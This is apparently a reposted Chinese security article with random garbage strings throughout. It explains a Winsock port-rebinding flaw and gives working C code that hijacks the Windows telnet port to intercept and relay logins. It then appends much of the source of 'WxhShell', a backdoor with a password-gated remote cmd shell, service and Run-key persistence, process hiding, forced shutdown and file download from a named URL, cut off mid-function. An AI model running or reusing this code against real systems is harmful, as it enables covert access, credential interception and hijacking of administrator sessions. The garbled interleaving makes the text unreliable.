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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O:I"<w 9_1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &Q>tV+* b@>MA saddr.sin_family = AF_INET; iPuX Q ,`R-?v saddr.sin_addr.s_addr = htonl(INADDR_ANY); }JWLm.e c*@#0B bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MT3TWWtZ: Ld9YbL: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4[ .DQ#r P{gGvC, 这意味着什么?意味着可以进行如下的攻击: :|5\XV)> oRALhaI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p_g#iH!* - Mubq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) BPwn!ii| zT< P_l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `p'(:W3a gR]NH 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 [d3i_^\ dsiQ~ [
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;dR4a@ Nj^:8]D)0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iL6Yk @ vTk\6o q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Bokpvd-c7 2|re4 #include {: H&2iF #include ~M!9E]) #include &%\H170S #include .IkQo`_s: DWORD WINAPI ClientThread(LPVOID lpParam); 1v
M'yr$ int main() hUo}n>Aa { A{IJ](5.kd WORD wVersionRequested; PCkQ hR DWORD ret; 0LW|5BVbIO WSADATA wsaData; I%Yeq"5RB BOOL val; 2Vwv#NAV k SOCKADDR_IN saddr; ^fq^s T.$ SOCKADDR_IN scaddr; `m_('N int err; E8LZ%
N# SOCKET s; tSf$`4 SOCKET sc; 4F=cER6l int caddsize; R<eD)+ HANDLE mt; 1.S?(1e" DWORD tid; 5 >c,#* wVersionRequested = MAKEWORD( 2, 2 ); +f"q^R IU err = WSAStartup( wVersionRequested, &wsaData ); Q?xCb if ( err != 0 ) { ^Q9;ro*;ck printf("error!WSAStartup failed!\n"); Wq"5-U;:w return -1; (l_/ HQ32 } "+sl(A3`U saddr.sin_family = AF_INET; Z.$)# vM5 {Yc#XP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M7PGs-l "IuHSjP saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *2^+QKDG saddr.sin_port = htons(23); Po*G/RKu4W if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qdQQt5Y'm { CxbGL printf("error!socket failed!\n"); 'L5ih|$> return -1; ODFCA.
t } 3vC"Q!J& val = TRUE; sogdM{tz\ //SO_REUSEADDR选项就是可以实现端口重绑定的 VNT*@^O_= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R|g50Q { 9=5xt;mEs} printf("error!setsockopt failed!\n"); Ej#pM. return -1; HOSt0IHzty } W&Xm_T[Q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +zL|j/q ? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DOB#PI[/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (`)ZR%i $_Kcm"oj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r-8fvBZ5 { UpFm3gKF ret=GetLastError(); X6-;vnlKN printf("error!bind failed!\n"); C;\R
62' return -1; ^hRx{A } Wo2W/{ listen(s,2); i}=n6
while(1) cUj^aT pm { 0?Bv
zfb caddsize = sizeof(scaddr); Rc2JgV //接受连接请求 <X"_S'O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X0 ^~`g if(sc!=INVALID_SOCKET) &[W53Lqa { yB5JvD ? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t b>At*tO if(mt==NULL) vJ9IDc|[ { sL4j@Lt printf("Thread Creat Failed!\n"); ;)23@6{R% break; z]HaE|j}S } =Q~@dP } 3XSfXS{lwP CloseHandle(mt); 21sXCmYR,t } pg.BOz\'q closesocket(s); (Tv~$\= WSACleanup(); TOw;P:- return 0; C17$qdV/ } `qm$2 DWORD WINAPI ClientThread(LPVOID lpParam) !6FO[^h||H { cq"#[y$r SOCKET ss = (SOCKET)lpParam; f-`C1|\w SOCKET sc; CLgfNrW~ unsigned char buf[4096]; nduUuCIY. SOCKADDR_IN saddr; p+#]Jr long num; jK\AVjn DWORD val; $&X-ay o DWORD ret; ^tY
_ q //如果是隐藏端口应用的话,可以在此处加一些判断 Mhu|S)hn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 N
oRPvFv saddr.sin_family = AF_INET; oH;9s-Be saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s<{) X$ saddr.sin_port = htons(23); h9kwyhd" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B &e'n< { 3c+ps;nh printf("error!socket failed!\n"); UsgrI>|l return -1; \:Q)X$6 } .`jYrW-k val = 100; 5;X r0f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >e!Y 63` { 6t4Khiwx ret = GetLastError(); zs.@=Z" return -1;
wwE3N[ } {gb` %J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6 IRa$h>H { NA+7ey6 ret = GetLastError(); Zp/$:ny return -1; ej,R:}C%` } 3fxcH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )]C(NTfxg { =wlPm5 printf("error!socket connect failed!\n"); Id=V\'$o closesocket(sc); N(%(B closesocket(ss); p8j*m~4B return -1; \. a 7F4h } }$b!/<7FD while(1) .Nk5W%7]= { 3_"tds <L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }/QtIY#I //如果是嗅探内容的话,可以再此处进行内容分析和记录 hQeG#KQ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CU:HTz= num = recv(ss,buf,4096,0); tLcw?aB if(num>0) " c+$GS send(sc,buf,num,0); Qna*K7kv else if(num==0) CA5T3J@vAQ break; 9"zp>VR num = recv(sc,buf,4096,0); Y
h53Z"a if(num>0) Va A.J send(ss,buf,num,0); $\q.Zb else if(num==0) CSY-{ break; $Z3{D:-) } V''fmWo7 closesocket(ss); dZX;k0 closesocket(sc); ,(&Fb~r] return 0 ; Zv(6VVj } Dus!Ki~8(t >+DMTV[O I%NeCd ========================================================== %/
"yt}"| Q\>mg*79 下边附上一个代码,,WXhSHELL n6G&c4g<" Cbpz Yv32 ========================================================== 1Vc~Sa =~5N/! #include "stdafx.h" ;y-:)7J w|Ry)[ #include <stdio.h> &TL"Hd #include <string.h> HD& Cp #include <windows.h> @v3)N[|d #include <winsock2.h> xGFbh4H=8p #include <winsvc.h> PpH
;p.-!d #include <urlmon.h> 97~>gFU77# zszmG^W{ #pragma comment (lib, "Ws2_32.lib") [$td:N
* #pragma comment (lib, "urlmon.lib") ([^#.x)hz 4LW~ #define MAX_USER 100 // 最大客户端连接数 yFS{8yrRUU #define BUF_SOCK 200 // sock buffer \hn$-'=4 #define KEY_BUFF 255 // 输入 buffer V.6pfL 3SI0etVr #define REBOOT 0 // 重启 X8ZO
} X #define SHUTDOWN 1 // 关机 f:y1eLl3 c&,q`_t #define DEF_PORT 5000 // 监听端口 R$66F>Jz^ e]CoYuPr #define REG_LEN 16 // 注册表键长度 y0ObcP.MA #define SVC_LEN 80 // NT服务名长度 z'Z[mrLq &,=FPlTC= // 从dll定义API KV8<'g +2? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h&n1}W+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dv
L8}dz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MT:VQ>fC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wOCAGEg |i#06jIq // wxhshell配置信息 rV4K@)~ struct WSCFG { :YOo"3.] int ws_port; // 监听端口 Z[ &d2' char ws_passstr[REG_LEN]; // 口令 IF-y/] int ws_autoins; // 安装标记, 1=yes 0=no 3Pgokj
char ws_regname[REG_LEN]; // 注册表键名 0
x' d^ char ws_svcname[REG_LEN]; // 服务名 0FY-e~xr char ws_svcdisp[SVC_LEN]; // 服务显示名 17,mqXX> char ws_svcdesc[SVC_LEN]; // 服务描述信息 t1"#L_<e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^sFO[cYo int ws_downexe; // 下载执行标记, 1=yes 0=no *,%$l+\h char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" k`A39ln7wu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X,#~[%h$-= mF|KjX~s }; $IjI{% m(}}%VeR"z // default Wxhshell configuration jWV}Ua struct WSCFG wscfg={DEF_PORT, GBWL0'COV "xuhuanlingzhe", c#"t.j<E} 1, s@5~HyeI "Wxhshell", ?FjnG_Uz`D "Wxhshell", Ej
5_d "WxhShell Service", kP^A~ZO. "Wrsky Windows CmdShell Service", deVnAu = "Please Input Your Password: ", s,8zj<dUv 1, ZTz07Jt " http://www.wrsky.com/wxhshell.exe", J|DZi2o "Wxhshell.exe" *8m['$oyV }; CfSP*g0rW "om7 :d // 消息定义模块 % @+j@i`& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lw[c+F7 char *msg_ws_prompt="\n\r? for help\n\r#>"; s.Bb@Jq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; dFDf/tH char *msg_ws_ext="\n\rExit."; wT6zeEV~* char *msg_ws_end="\n\rQuit."; Cl9 nmyf
char *msg_ws_boot="\n\rReboot..."; m%apGp'=1 char *msg_ws_poff="\n\rShutdown..."; )RvX}y- char *msg_ws_down="\n\rSave to "; 7`&ISRU4 k4dC char *msg_ws_err="\n\rErr!"; /e?0Iv"
8> char *msg_ws_ok="\n\rOK!"; S#v3%)R `&7tADFB char ExeFile[MAX_PATH]; dXQ C}JA int nUser = 0; Iia.`"S HANDLE handles[MAX_USER]; %Q0R]
Hg int OsIsNt; :S_]!'H xk%
62W SERVICE_STATUS serviceStatus; J-,ocO SERVICE_STATUS_HANDLE hServiceStatusHandle; AH5;6Q X(MS!R V // 函数声明 u;-fG9xs int Install(void); $*iovam>^] int Uninstall(void); \|HNFx T` int DownloadFile(char *sURL, SOCKET wsh); ZIc.MNq int Boot(int flag); C-;w}
void HideProc(void); dCTyfXou[= int GetOsVer(void); z|D*ymz*EY int Wxhshell(SOCKET wsl); Cd"{7<OyM4 void TalkWithClient(void *cs); bIyg7X)/ int CmdShell(SOCKET sock); 3u$1W@T( int StartFromService(void); B6k<#-HAT int StartWxhshell(LPSTR lpCmdLine); -Z$u[L [c SnQT1U% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z9+fTT VOID WINAPI NTServiceHandler( DWORD fdwControl ); w,FPL&{ |oXd4 // 数据结构和表定义 jJNCNH*0 SERVICE_TABLE_ENTRY DispatchTable[] = %J^x `P { {DQ%fneN4 {wscfg.ws_svcname, NTServiceMain}, 7\,9Gcv1 {NULL, NULL} p ZTrh&I] }; ~Q]5g7k=& XgHJ Oqt // 自我安装 0~^RHb.NA8 int Install(void) Q'jw=w!|g { 2icQ (H; char svExeFile[MAX_PATH]; Q}L?o HKEY key; {XmCG%%L strcpy(svExeFile,ExeFile); C\GP}:[T3 KRC"3Qt
// 如果是win9x系统,修改注册表设为自启动 V)>?[ if(!OsIsNt) { U*$xR<8v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <4q H0< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V>`ANZ4 RegCloseKey(key); N8dxgh!, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lt&(S) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PVBz~rG RegCloseKey(key); CC`_e^~y=F return 0; XAU%B-l: } bTaKB- } WqCC4R,- } wc4BSJa,19 else { @5S' 5)4pB o6k#neB>=. // 如果是NT以上系统,安装为系统服务 nOGTeKjEJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); - |g"q| if (schSCManager!=0) r@{TN6U { k~"Eh]38 SC_HANDLE schService = CreateService wgS,U}/i ( @a?7D;+< schSCManager, '|zrzU= wscfg.ws_svcname, Nhjq.& wscfg.ws_svcdisp, r[a7">n SERVICE_ALL_ACCESS, Y#ZgrziYM SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -SrZ^ SERVICE_AUTO_START, Kf[d@L SERVICE_ERROR_NORMAL, 67II9\/ svExeFile, o[Jzx2A< NULL, P9
<U+\z NULL, xV)[C )6 NULL, "%gsGtS NULL, V*uE83x1 NULL `GCoi ?n7 ); qUkMNo3 if (schService!=0) vA1YyaB { _s=H|#l
CloseServiceHandle(schService); H4w\e#| CloseServiceHandle(schSCManager); L=4+rshl!_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rqh5FzB> strcat(svExeFile,wscfg.ws_svcname); D0r viO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 52e>f5m.
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CJ
:V %| RegCloseKey(key); |`5IP8Z return 0; qz-QVY, } dI{DiPho } U#` e~d t< CloseServiceHandle(schSCManager); Gmz^vpQ]t } &0F' Ca } sS>b}u+v#! L=r*bq return 1; -zR<m } zfeT>S+ %;,fI'M // 自我卸载 K3yQ0k
| int Uninstall(void) Z7;V}[wie { 'a['lF HKEY key; #).$o~1ht! v`HER6 if(!OsIsNt) { 2%W;#oi? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *GT=U(d RegDeleteValue(key,wscfg.ws_regname); <+roY" RegCloseKey(key); r
)F;8( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w&p+mJL. RegDeleteValue(key,wscfg.ws_regname); a5D|#9 RegCloseKey(key); [n2B6Px return 0; N~v6K}`} } uE-(^u } vrnvv?HPrR } ^3;B4tj[ else { /Z:j:l &9L4
t%As SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Joow{75K if (schSCManager!=0) $%y q[$^ { l4bytI{63 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s ^h@b!'7 if (schService!=0) M.W
X&;> { 2c `m= if(DeleteService(schService)!=0) { f9.?+.^_ CloseServiceHandle(schService); ON :t"z5 CloseServiceHandle(schSCManager); @!sK@&ow@% return 0; *WwM"NFHDd } 1[%3kY-h CloseServiceHandle(schService); ;*A'2ymXUT } 4Yj1Etq.E CloseServiceHandle(schSCManager); to={q
CqU } >>U>'}@Q } $R9D
L^iD NXW*{b return 1; 50,'z?-_ } LP2~UVq kwI``7g8*e // 从指定url下载文件 kp m;ohd int DownloadFile(char *sURL, SOCKET wsh) Br1R++] { LgqQr6y" HRESULT hr; 02;jeZ#z char seps[]= "/"; acd[rjeT char *token; pv_o4qEN char *file; )(iv#;ByL char myURL[MAX_PATH]; %w;qu1j char myFILE[MAX_PATH]; ^_2c\mw_I u` pTFy strcpy(myURL,sURL); vsY?q8+P token=strtok(myURL,seps); Qb536RpcTY while(token!=NULL) As:O|!F { T5XXC1+ file=token; 8wU$kK token=strtok(NULL,seps); ~ao:9ynY } YpZB-9Krf M\ATT%b: GetCurrentDirectory(MAX_PATH,myFILE); )U/jD strcat(myFILE, "\\"); w"hd_8cO strcat(myFILE, file); s8h*nZ)v send(wsh,myFILE,strlen(myFILE),0); 7=^{~5# send(wsh,"...",3,0); &K ~k'P~m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6= iHw24 if(hr==S_OK) YQMWhC,8hy return 0; Vk2$b{VdF else V9c.(QY|f return 1; #<{v~sVp& {6i|"5_j } [doEArwn TnrBHaxbo4 // 系统电源模块
.-gJS-.c int Boot(int flag) O?uICnmi6 { fY<#KM6X HANDLE hToken; Jf YgZ\# TOKEN_PRIVILEGES tkp; K;F1'5+=D
a_?sJ if(OsIsNt) { gx&es\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6v`3/o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D|uvgu2 tkp.PrivilegeCount = 1; fz'qB-F
Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T{dQ4
c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XKp&GE@Y if(flag==REBOOT) { JT+c7W7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7KC>?F return 0; AuNUW0/
7 } H 0l1=y else { w h$bDTCj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l\<.*6r return 0; *22Vc2[i; } (r|m&/ } nrac)W else { qTsy'y;Z if(flag==REBOOT) { DDE-$)lf> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BP/nK. return 0; Be6Yh~m } { _9O4 +
& else { ]#:WL)@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O8]e(i return 0; 80lei } EU[\D; } "O34 E?ql. eL3 _Lz return 1; aODh5 } o1AbB?%= [ZWAXl
$ // win9x进程隐藏模块 $ XjijD9R void HideProc(void) dq93P%X24 { 5(>=};r+ b\P:a_vq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D<WnPLA$g if ( hKernel != NULL ) "i0>>@NR' { <KMCNCU\+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Oka7.yz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \jfK']P/H FreeLibrary(hKernel); Ht[$s4 0P } {4J. h;V4|jM return; BH:A]#_{ } /VYT]( P$EiD+5#z // 获取操作系统版本 >@vu;j\*E5 int GetOsVer(void) 4=Th<,< { c
p"K ?) OSVERSIONINFO winfo; VYG@_fd!x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .S//T/3O]Q GetVersionEx(&winfo); }e\"VhAl/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BUXE
s0]Lv return 1; SBxpJsW> else
2%@tnk|@ return 0; +ktv:d } wgFX')l: x,gk]C f // 客户端句柄模块 Y 9$jJ1V int Wxhshell(SOCKET wsl) KA2>[x2 { a_b#hM/c; SOCKET wsh; >7W)iwF struct sockaddr_in client; ]0UYxv%] DWORD myID; o`YBz~2 @2E52$zu while(nUser<MAX_USER) 4R'CLN
|t { 9]eG|LFD int nSize=sizeof(client); VhO+nvd*W wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gmVN(K}SR5 if(wsh==INVALID_SOCKET) return 1; ,U""m7 /43l}6I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ad}8~6}_& if(handles[nUser]==0) v0C+DKi closesocket(wsh); k8?._1t else T=PqA)Ym nUser++; f&<+45JI } y8YsS4E^Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2"D4q (@ L\#YFf return 0; y i$+rPF1 } lC($@sC % {0,b[ // 关闭 socket gvI!Ice# void CloseIt(SOCKET wsh) P!79{ 8 { ,7d/KJ^7 closesocket(wsh); |y^=(|eM nUser--; Ch]d\G M ExitThread(0);
qNJc*@s } ao)';[%9s _:[@zxT<x // 客户端请求句柄 C:Jfrg` void TalkWithClient(void *cs) O50_qu33ju { !7DDPJ~ 0`"oR3JY SOCKET wsh=(SOCKET)cs; XP)^81i| char pwd[SVC_LEN]; Hs)Cf)8u char cmd[KEY_BUFF]; 1["i,8zB char chr[1]; _0+X32HjJ int i,j; 4s7
RB t*hy"e{*a while (nUser < MAX_USER) { sT;wHtU U~D~C~\2; if(wscfg.ws_passstr) { SMrfEmdH+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); loIb}8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D% j GK //ZeroMemory(pwd,KEY_BUFF); =!t;e~^8] i=0; Cn/WNCzst& while(i<SVC_LEN) { 1
tOslP@ J$}]p // 设置超时 ,NQ!d4~D fd_set FdRead; %W~w\mT struct timeval TimeOut; ^2-
<XD) FD_ZERO(&FdRead); Wxj_DTi[1" FD_SET(wsh,&FdRead); A'#d:lOA TimeOut.tv_sec=8; u@dvFzc TimeOut.tv_usec=0; &%rM| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AJ%E.+@=r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R%KF/1;/ \96\!7$@O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R ` ViRJh pwd =chr[0]; P] *x6c^n if(chr[0]==0xd || chr[0]==0xa) { <yipy[D pwd=0; %[|^7 break; HaVhdv3L } kBZ1)? i++; estiS }
U${W3Ra %g@?.YxjT // 如果是非法用户,关闭 socket Wu
0:X*>}p if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bg Ux&3 } !hq2AY&H) *|S6iSn9R! send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l
L;5*@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @e<(o
UE Qn8xe, while(1) { _CHzwNU 0o+Yjg>\~8 ZeroMemory(cmd,KEY_BUFF); f(pq`v^-n 3'.@aMA@ // 自动支持客户端 telnet标准 $Wj= V j=0; u0L-xC$L while(j<KEY_BUFF) { l\W|a'i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xuvW6Q; cmd[j]=chr[0]; d 5yEgc;z if(chr[0]==0xa || chr[0]==0xd) { 12lX-~[[" cmd[j]=0; gbuh04#~ break; E<\$3G-do } B`mJT*B[ j++; tq59w } 0cycnOd I5M\PK/ // 下载文件 D[yyFo,z if(strstr(cmd,"http://")) { #Kb /tOp1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0<%$lr if(DownloadFile(cmd,wsh)) Oin9lg-jR send(wsh,msg_ws_err,strlen(msg_ws_err),0); o^/
#i`) else 2'@m'4-N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OL
0YjU@ } .j:,WF<"l5 else { &q>8D' Lyhuyb)k5^ switch(cmd[0]) { $Er=i }` B4b'0p // 帮助 ,m<YSMKX case '?': { ==[(Mn,%d send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FC1rwXL( break; ~Y/A]N86, } 6nk}k]Ji // 安装 kK=VG<
:M case 'i': { 8QTry% if(Install()) bJ_rU35s> send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(Is
7 else #p(c{L! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w80X~ break; *5PQ>d
G } .h W># // 卸载 rL-R-;Ca case 'r': { DKS1Sm6d0 if(Uninstall()) 1)=
H2n4) send(wsh,msg_ws_err,strlen(msg_ws_err),0); %f'pAc|# else t+KW=eW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sLA.bp.O break; \$_02:# } zls^JTE // 显示 wxhshell 所在路径 ~
=u8H case 'p': { WVeNO,?ytS char svExeFile[MAX_PATH]; h A ){>B<; strcpy(svExeFile,"\n\r"); :=B.)]F.) strcat(svExeFile,ExeFile); 7"Xy8]i{z send(wsh,svExeFile,strlen(svExeFile),0); ~Fb@E0 }! break; =CFjG)L } QKP
#wR
// 重启 9YI@c_1 Q case 'b': { 'f{13-#X@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XdJD"|,h if(Boot(REBOOT)) 1vo3aF send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hpix:To else { K.yc[z)un closesocket(wsh); +~V_^-JG& ExitThread(0); <ci(5M } #+o$Tg break; cI[i v } d[?RL&hJO // 关机 ;cVK2' case 'd': { RP2$(% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dlo`](5m if(Boot(SHUTDOWN)) r#WqXh_uk send(wsh,msg_ws_err,strlen(msg_ws_err),0); V<WWtu;3 else { P.>fkO1\ closesocket(wsh); `mcb0 ExitThread(0); YQD`4ND } UhJS=YvT break; #fF5O2E'3 } Y"t|0dO%b // 获取shell (tA[] ne2 case 's': { R7IFlQH% CmdShell(wsh); <&[`
+ closesocket(wsh); qf K
gNZ ExitThread(0); cWnEp';. break; 8o:h/F } Gu{1%bb#kL // 退出 i+S%e,U* case 'x': { jA^yUd- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .K^gh$z! CloseIt(wsh); b:9"nALgC break; BT(eU*m- } ipu~T)} // 离开 A]iT
uu5 p case 'q': { _H U>T send(wsh,msg_ws_end,strlen(msg_ws_end),0); UHV"<9tk closesocket(wsh); 4NRj>y WSACleanup(); UK'8cz9 exit(1); X%I@4 B7Ts break; jKcl{', } .HTRvE`X } <b~~X`Z } Foj|1zJS_ fvta< // 提示信息 kb$Yc)+R4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LTx,oa:ma } l^tRy_T:- } Z!q$d/1 i%i s<' return; pQZ`dS\ } q+qF;7dN@ ,WsG,Q(K // shell模块句柄 gr!!pp; int CmdShell(SOCKET sock) '4GN%xi { ^[I>#U STARTUPINFO si; 3it*l-i\ ZeroMemory(&si,sizeof(si)); t\:=|t, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4QC_zyTE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8YPX8d8u PROCESS_INFORMATION ProcessInfo; $<VH~Q< char cmdline[]="cmd"; \ %xku: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ifWQwS/,a return 0; 18j>x3tn } :rk6Stn$z CZ^
,bad // 自身启动模式 a&kt!%p: int StartFromService(void) h8k\~/iJ { p")"t`k7 typedef struct `Y!8,(5# { ~4#D
G^5 DWORD ExitStatus; <Pf4[q&wM DWORD PebBaseAddress; -:!Wds DWORD AffinityMask; .|P
:n' DWORD BasePriority; h*hkl# ULONG UniqueProcessId; 9%Vy, ULONG InheritedFromUniqueProcessId; )2^r
0(x } PROCESS_BASIC_INFORMATION; klc$n07 C%%gCPI^y PROCNTQSIP NtQueryInformationProcess; U.Z5;E0: `Um-Y'KE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jW^]N$> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FUL'=Xo Rb^G~82d? HANDLE hProcess; YJDJj
x PROCESS_BASIC_INFORMATION pbi; ]W`M
